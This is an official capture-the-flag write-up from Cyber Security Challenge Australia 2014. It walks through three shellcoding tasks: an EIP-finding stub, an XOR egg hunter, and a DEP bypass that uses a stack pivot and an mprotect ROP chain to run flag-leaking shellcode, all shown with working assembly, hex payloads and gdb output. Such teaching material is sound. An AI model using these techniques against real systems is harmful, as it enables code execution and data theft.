
Australian Government

# Cyber Security Challenge Australia 2014
# www.cyberchallenge.com.au

# CySCA2014 Shellcoding Writeup

**Background:** Mad Programming Skillz Pty. Ltd. have contracted FortCerts to provide functional tests for some of their compiled code. The ability to add these tests was not factored in during development so they will need to be written in x86 assembly. FortCerts have taken on the job but don't have anyone in-house with the skills to produce these tests, so they have asked you to do so.

## Shellcode 1 - Missing Missy

**Question:** The first task Mad Programming Skillz Pty. Ltd have for you requires that you write a function in shellcode that sets the EAX register to the memory address of the first instruction of your shellcode. The code to be tested is running on the server at 172.16.1.20:9090. The server will provide more information on your task. Your test MUST return execution to the program.

**Designed Solution:** Write and compile x86 assembly code to determine the current execution address. Adjust the address to compensate for the fact that the x86 call mnemonic returns the address of the next instruction. Then return to the challenge program.

**Write up:**
We read the question on the scoreboard. We use netcat to connect to 172.16.1.20:9090 to get the extra challenge information. Looking at the banner, we are presented with a message saying that we need to “Set EAX to the address of the first instruction of our shellcode then return execution to the program, it also states that the shellcode should be a hex encoded string of upto 40 characters”

We started building the return functionality of our shellcode by sending an individual ret (0xC3) instruction to the server. We received a message stating that “Address 0 was not correct”, this validated our assumption that this would be how our shellcode returns control to the program because it didn’t crash.

We then wrote some assembly code that would use call and pop to return the current code execution position in memory and then return it to the program. We used nasm to compile the following code and then submitted the hex encoded bytes to the server.

```
;Tell nasm to use 32 bits
BITS 32
;This is the start of the generated shell code
start:
;the call mnemonic pushes the address of the next instruction (the return address)
onto the stack
call get_eip
;pop the return address (the pop eax instruction address) off of the stack into
the eax register
get_eip:
pop eax
;because the program wants the address of the first instruction rather than the
second. we need to sub 5 bytes from eax (size of a 32 bit call)
sub eax, 5
;Return execution to the program
ret
```

```
#> nasm soln_sc.asm
#> xxd -ps soln_sc
e8000000005883e805c3
#> xxd -ps soln_sc | nc 172.16.1.20 9090
Set EAX to the address of your first shellcode instruction.
Then, return execution to the program.
Enter your shellcode as a hex encoded string (up to 40 characters):
Received 10 bytes of shellcode. Executing shellcode...
Congratulations! Secret key is: TableSauceDamned664
```

After submitting the hex encoded shellcode bytes to the server we are given the flag **TableSauceDamned664**

## Shellcode 2 - X97:L97

**Question:** Mad Programming Skillz Pty. Ltd have created code to dynamically allocate a function that returns a flag, obfuscate it and place it randomly in memory to improve software security. To ensure this works correctly, they need you to write a test with shellcode that will locate the function within the specified memory range, deobfuscate and return control to it.
The code is running at 172.16.1.20:16831. The server will provide more information on your task.

**Designed Solution:** Create a custom egg hunter that can locate the function that returns the flag, then deobfuscate and execute it. The challenge will be for players to reduce the size of their egg hunter/deobfuscator to fit within the limits.

**Write up:**
We initially read the question and use netcat to connect to 172.16.1.20:16831 to get the aforementioned further information on the challenge. The banner contains information relating to the shellcode, the tag, the shellcode length and that we have a 40 byte shellcode limitation.

```
#> nc 172.16.1.20 16831
Welcome to the shellcode 2 challenge
Please send your egg hunter and deobfuscator shellcode as raw bytes
The egg will be between 0xb7505000 and 0xb7604fff
The egg tag will be 'CySC' without the quotes
The egg is less than 255 bytes long
The egg bytes are xored with the low byte of the tag address
       E.g if the tag is stored at 0x11223344 the egg bytes will be xored with
0x44
Enter your shellcode as a hex encoded string (up to 80 characters)
```

So we write some assembly that compares dwords between the start and end address against the tag. If it doesn't find the tag, it moves forward one byte and repeats. If it finds the tag, it uses the the low byte of the tag address to de-obfuscate the 255 bytes after the tag. It then jumps into the deobfuscated memory directly after the tag.

Note: The egg range start address is changed every time the challenge server is restarted, so yours may differ from the one listed in the banner above.

```
;Tell nasm to use 32 bits
BITS 32
start:
       ; load start address-1 into eax.
       ; NOTE: This will likely be different on your server.
       mov eax, 0xb7504fff
       ; load egg tag into the ebx register
       mov ebx, 'CySC'

compare:
```

```
        ; move to next memory address
        inc eax
        ; compare memory location with the egg tag in ebx
        cmp [eax], ebx
        ; repeat comparison until we find the egg tag
        ; Note: we don't compare against the end address to save bytes
        jne compare

egg_tag_found:
        ; Set the ecx register to zero
        xor ecx, ecx
        ; This will set the cl register to 0xFF
        dec cl

decode_loop:
        ; Deobfuscate memory at eax + ecx. This loop will deobfuscate backwards
        xor [eax + ecx], al
        ; If the cl register is > 0 then it will jump to decode_loop. This will
deob 255 bytes.
        loop decode_loop

execute:
        ; skip forward 4 bytes so we jump into the egg code rather than the tag
        add eax, 4
        ; call into the egg
        call eax
```

We use nasm to compile the assembly code and use xxd to hex encode the shellcode bytes before sending them to the server.

```
#> xxd -ps sc2_soln | nc 172.16.1.20 16831
Welcome to the shellcode 2 challenge
Please send your egg hunter and deobfuscator shellcode as raw bytes
The egg will be between 0xb7505000 and 0xb7604fff
The egg tag will be 'CySC' without the quotes
The egg is less than 255 bytes long
The egg bytes are xored with the low byte of the tag address
        E.g if the tag is stored at 0x11223344 the egg bytes will be xored with
0x44
Enter your shellcode as a hex encoded string (up to 80 characters)
Received 29 bytes of shellcode. Executing
Your flag is ProcessCertainNearly173
```

After sending our hex encoded egg hunter to the server we receive the flag **ProcessCertainNearly173**

## Shellcode 3 - Stop, Rop and Roll

**Question:** The last task that Mad Programming skills have provided requires that you test a range of functionality in a binary provided by them. The development of this binary had no thought for future testing so DEP was enabled, this means you will need to add a pivot and ROP in addition the test shellcode to return the flag. The code is running at 172.16.1.20:22523. The server will provide more information on your task.

**Designed Solution:** Players will need to use a tool such as ROPGadget to locate a pivot, and build a ROP chain to enable execution for the memory where the payload will be located. Players will also need to create a custom payload to return the flag back to the player.

**Write up:**
We start by downloading the file supplied with the question. Running file against it tells us that it is a 32-bit statically linked binary and is not stripped. This means that there should be plenty of opportunity for rop gadgets and semi-documented functions that may be able to be reused.

```
#> file 8305f5c99ba1d89802940f6e68f802f5-sc03
8305f5c99ba1d89802940f6e68f802f5-sc03: ELF 32-bit LSB executable, Intel 80386,
version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24,
BuildID[sha1]=0xe3869b0697f6271c95c734f62b2c4c21278e6ce1, not stripped
```

We connect to the server to get the extra information and it supplies us with a list of conditions for the pivot, payload and rop chain. Additionally, it tells us the location of the payload in memory on the server.

Note: The address of the payload in memory will change each time the server is restarted. So your's may differ.

```
#> nc 172.16.1.20 22523
Welcome to the shellcode 3 challenge
Please send your all requested data as hex encoded strings
DEP is on!
Payload Conditions: Truncated at zero. Every 16th byte must be 0xCC
Pivot and ROP conditions: None apart from size
Your payload will be located at 0xb7737000
Please send your pivot (8 characters)
```

Now we will get the binary running on our Kali system so we can debug the pivot, ropchain and payload that we are about to write. To do this we will need to partially emulate the chroot environment that is setup on the server.

We read the FAQ which gives us details on how to setup the chroots for these binaries. We create the folder /chroots/2012. We start the server binary and use netcat to connect to it to ensure that it is working.

```
#> ./8305f5c99ba1d89802940f6e68f802f5-sc03
Currently running as user 0 and group 0
Moving into chroot jail for user 2012. Path = '/chroots/2012'
Changing group from 0 to 1013
Changing user from 0 to 2012
Forking....
Child process 29149 spawned. Original process quitting
Waiting for clients to connect on port 22523

#> nc localhost 22523
Connection on port 22523 from client 127.0.0.1
Welcome to the shellcode 3 challenge
Please send your all requested data as hex encoded strings
DEP is on!
Payload Conditions: Truncated at zero. Every 16th byte must be 0xCC
Pivot and ROP conditions: None apart from size
Your payload will be located at 0xb7783000
Please send your pivot (8 characters)
```

The output from nc confirms that the server is working correctly. You should notice that the payload memory address differs from the address supplied when connecting to the game server.

With the server setup on the local system correctly we can start building our solution. We will first look for a pivot that will set the stack pointer (ESP) to the address of our rop chain.The easiest way to do this is to attach gdb to the server, supply known values to the server, wait for the server to crash and inspect registers to see which point to the rop chain address.

Before we do this we have to ensure GDB has a few settings configured, we supply these options on the command line because we will likely be attaching GDB multiple times, and unless you set up a .gdbinit file, they won't persist across instantiations.

The settings we configure are:

- follow-fork-mode child tells GDB to debug the child rather than the parent process after a call to fork().
- handle (SIGALRM/SIGSEGV) ignore tells GDB to ignore handlers for SIGALRM and SIGSEGV. This needs to be done because these signals are caught by the server to supply useful feedback to players, however they make debugging in GDB difficult.
- disassembly-flavor intel tells GDB to output listings in intel syntax, this isn't a requirement but since nasm uses a similar syntax it makes the write up a little more consistent.

In Terminal 1:

```
#> gdb --eval-command="set follow-fork-mode child" --eval-command="handle SIGALRM
ignore" --eval-command="handle SIGSEGV ignore" --eval-command="set
disassembly-flavor intel" --pid 29149
```

```
GNU gdb (GDB) 7.4.1-debian
****SNIP****
(gdb) c
```

In Terminal 2:

```
#> nc localhost 22523
Welcome to the shellcode 3 challenge
****SNIP****
Please send your pivot (8 characters)
11111111
Please send your payload (upto 512 characters)
11
Received 1 bytes of payload
Please send your rop chain (upto 256 characters)
41414141414141414141
Received 10 bytes of rop chain
```

At this point the server output will hang and we switch back to Terminal 1

In Terminal 1:

```
Connection on port 22523 from client 127.0.0.1
[New process 29232]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 29232]
0x11111111 in ?? ()
```

We can see that the server is trying to return to the pivot we specified above (0x11111111). Lets look at the registers to see if any contain our rop chain, remembering we set it to 10 A's (0x41).

In Terminal 1:

```
(gdb) info reg
eax            0xbfcafe3c    -1077215684
****SNIP****
(gdb) x/s $eax
0xbfcafe3c:     "AAAAAAAAAA"
(gdb) quit
```

That was lucky ;), it seems that the eax register points to our shellcode, so we need to find a pivot that will move the value in eax into esp and then return. We will use ROPGadget in combination with grep to locate a suitable gadget for this purpose.

```
#> ROPgadget.py --binary 8305f5c99ba1d89802940f6e68f802f5-sc03 | grep esp | grep
eax | grep xchg | grep ret
****SNIP****
0x080511ec : xchg eax, esp ; ret
****SNIP****
```

After filtering results looking for terms of interest (esp, eax, xchg and ret) we find a gadget that fits our purpose exactly at address 0x080511ec.

Now with this pivot address in hand we can quickly test that it effectively pivots our stack to the address of our rop chain. We reattach GDB to our challenge server process in Terminal 1. In Terminal 2, we connect to the server and supply the pivot we have found in addition to a rop chain starting with 0xBAADF00D so we can easily verify it in GDB. When supplying these values we need to take endianness into consideration.

In Terminal 1:

```
#> gdb --eval-command="set follow-fork-mode child" --eval-command="handle SIGALRM
ignore" --eval-command="set disassembly-flavor intel" --eval-command="handle
SIGSEGV ignore" --pid 29149
****SNIP****
(gdb) c
```

In Terminal 2:

```
#> nc localhost 22523
****SNIP****
Please send your pivot (8 characters)
ec110508
Please send your payload (upto 512 characters)
AA
Received 1 bytes of payload
Please send your rop chain (upto 256 characters)
0DF0ADBA
Received 4 bytes of rop chain
```

In Terminal 1:

```
Connection on port 22523 from client 127.0.0.1
[New process 29316]
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 29316]
0xbaadf00d in ?? ()
```

As we can see in Terminal 1, we are trying to access 0xbaadf00d so that means we are correctly pivoting our stack to the address of the rop chain. The pivot is working as intended.

Now that we can control the stack we can create a fake stack in our rop chain and use that to call mprotect to enable the executable bit on the payload address. If we were to call mprotect legitimately the stack would look like the following.

```
ESP+0x00->Return address
ESP+0x04->Memory Address
ESP+0x08->Memory Size
```

```
ESP+0x0C->Prot Flags
```

But because we aren't calling mprotect, but we are using ret to access it we have to create a fake stack that looks like the following.

```
ESP+0x00->mprotect address
ESP+0x04->Return address
ESP+0x08->Memory Address
ESP+0x0C->Memory Size
ESP+0x10->Prot Flags
```

When the ret instruction is called it will pop the mprotect address off of our fake stack and pass execution to mprotect. At this point the stack will look like the legitimate stack above. Now that we know what our fake stack needs to look like, we can start populating it with values.

We start by getting the address of the mprotect function. Since the provided binary is statically compiled it contains library functions in addition to program functions. We use objdump to locate the address of mprotect.

```
#> objdump -x 8305f5c99ba1d89802940f6e68f802f5-sc03 | grep mprotect
08064150 g    F .text    00000025 __mprotect
08064150  w   F .text    00000025 mprotect
```

Now that we know that the address of the mprotect function is 0x08064150, we get the memory size and address from the server banner. Because the payload address is also the address of the memory to have the execute bit set, we reuse the payload address as both the return address and the memory address. Remember that this payload address will change, and likely won't be the same for you.

```
#> nc localhost 22523
****SNIP****
Your payload will be located at 0xb7783000
****SNIP****
Please send your payload (upto 512 characters)
****SNIP****
```

Finally, to get the Protection flags we read the documentation and determine we want RWX bits set so the Prot Flags will be set to 0x00000007. Now that we have all of the individual pieces we can assemble our fake stack.

```
ESP+0x00 -> 0x08064150 << mprotect Address
ESP+0x04 -> 0xb7783000 << Return Address
ESP+0x08 -> 0xb7783000 << Memory Address
ESP+0x0C -> 0x00000100 << Memory Size (256 bytes of memory)
ESP+0x10 -> 0x00000007 << Protection Flags
```

We use our fake stack to build our hex encoded rop chain string, taking into account endianness.

```
Hex Encoded Rop Chain: 50410608003078b7003078b70002000007000000
```

Now that we have our pivot and our rop chain, we will test them to ensure that our payload is getting executed. Again, we will attach GDB to the process running on our local server. This time we will submit our pivot, our ropchain and we will submit int3's (0xCC) as the payload. The int3's in the payload should cause GDB to catch a SIGTRAP at the start of payload execution.

In Terminal 1:

```
#> gdb --eval-command="set follow-fork-mode child" --eval-command="handle SIGALRM
ignore" --eval-command="set disassembly-flavor intel" --eval-command="handle
SIGSEGV ignore" --pid 29149
****SNIP****
(gdb) c
```

In Terminal 2:

```
#> nc localhost 22523
****SNIP****
Your payload will be located at 0xb7783000
Please send your pivot (8 characters)
ec110508
Please send your payload (upto 512 characters)
cccccccc
Received 4 bytes of payload
Please send your rop chain (upto 256 characters)
50410608003078b7003078b70002000007000000
Received 20 bytes of rop chain
```

In Terminal 1:

```
Connection on port 22523 from client 127.0.0.1
[New process 29490]

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 29490]
0xb7783001 in ?? ()
(gdb) x/10i $pc
=> 0xb7783001:    int3
   0xb7783002:    int3
   0xb7783003:    int3
```

As we can see from the SIGTRAP and the int3 instructions we are successfully executing code in our payload, so both the pivot and the rop chain are working as intended.

Now for the final piece we need to construct a payload that has every 16th byte set to 0xCC and has no zeros.

There is two options at this point, either create a payload that manually reads the flag file and returns the content to the player. Or reuse functions in the binary to save payload size and potentially effort. We decided to take the latter approach.

We use objdump to look at the symbols of the provided binary and see the function load_flag and g_client_socket. After a quick look at the load_flags function in IDA (which won't be covered here) it is apparent that the function takes two arguments, a pointer to a buffer to receive the flag and an argument containing the length of the buffer. g_client_socket is also set to the client socket when a client connects so this will come in handy too.

```
#> objdump -t 8305f5c99ba1d89802940f6e68f802f5-sc03
****SNIP****
080493cc g    F .text  000000ba load_flag
****SNIP****
080f3150 g    O .bss   00000004 g_client_socket
****SNIP****
```

With these builtin functions in hand and keeping in mind the payload restrictions here is a payload I prepared earlier.

```
BITS 32

start:
nop ;this would be int3 for testing
;Create some buffer space for our flag
mov ebp, esp
xor ecx, ecx
dec cl
sub esp, ecx

get_the_flag:
push ecx ; Push the buffer size
push ebp ; Push the address of the flag buffer
jmp skip1 ; Jump 16 byte 0xCC requirement
int3
int3
int3
int3
skip1:
mov eax, 0x080493cc ; Address of load_flag function
call eax ; Call load_flag

;Send the flag back to the client
send_flag_back:
xor ecx, ecx
push ecx ;flags = 0
push eax ; Len = Flag length returned by load_flag
```

```
push ebp ; Flag Buffer
jmp skip2 ; Jump 16 byte 0xCC requirement
int3
int3
skip2:
mov ebx, 0x080f3150 ;Address of g_client_socket
mov ebx, [ebx]
push ebx
mov eax, 0x08064a40 ; Address of send
call eax
```

We add a test flag into the chroot, compile our payload with nasm and hex encode it using xxd. We then send the pivot, payload and rop chain to the locally running server.

```
#> echo "TEST FLAG" > /chroots/2012/flag.txt
#> nc localhost 22523
Welcome to the shellcode 3 challenge
Please send your all requested data as hex encoded strings
DEP is on!
Payload Conditions: Truncated at zero. Every 16th byte must be 0xCC
Pivot and ROP conditions: None apart from size
Your payload will be located at 0xb7783000
Please send your pivot (8 characters)
ec110508
Please send your payload (upto 512 characters)
9089e531c9fec929cc5155eb04ccccccccb8cc930408ffd031c9515055eb02ccccbb50310f088b1b53
b8404a0608ffd0
Received 48 bytes of payload
Please send your rop chain (upto 256 characters)
50410608003078b7003078b70002000007000000
Received 20 bytes of rop chain
TEST FLAGA SIGSEGV was raised during shellcode execution. Exiting
```

Now that we got the test flag back it confirms that the pivot, payload and rop chain are working as expected. Before we send it to the game server, we need to adjust the payload address in the rop chain. Using the payload address 0xb7737000 from the server the rop chain would look as follows.

```
ESP+0x00 -> 0x08064150 << mprotect Address
ESP+0x04 -> 0xb7737000 << Return Address
ESP+0x08 -> 0xb7737000 << Memory Address
ESP+0x0C -> 0x00000100 << Memory Size (256 bytes of memory)
ESP+0x10 -> 0x00000007 << Protection Flags
```

So the new hex encoded rop chain would be:

```
50410608007073b7007073b70001000007000000
```

Now we have updated the payload address, we send the pivot, payload and adjusted rop chain to the server.

```
#> nc 172.16.1.20 22523
Welcome to the shellcode 3 challenge
Please send your all requested data as hex encoded strings
DEP is on!
Payload Conditions: Truncated at zero. Every 16th byte must be 0xCC
Pivot and ROP conditions: None apart from size
Your payload will be located at 0xb7737000
Please send your pivot (8 characters)
ec110508
Please send your payload (upto 512 characters)
9089e531c9fec929cc5155eb04ccccccccb8cc930408ffd031c9515055eb02ccccbb50310f088b1b53
b8404a0608ffd0
Received 48 bytes of payload
Please send your rop chain (upto 256 characters)
50410608007073b7007073b70001000007000000
Received 20 bytes of rop chain
RoofTitleSuspicious854A SIGSEGV was raised during shellcode execution. Exiting
```

We then receive the flag for this challenge **RoofTitleSuspicious854.**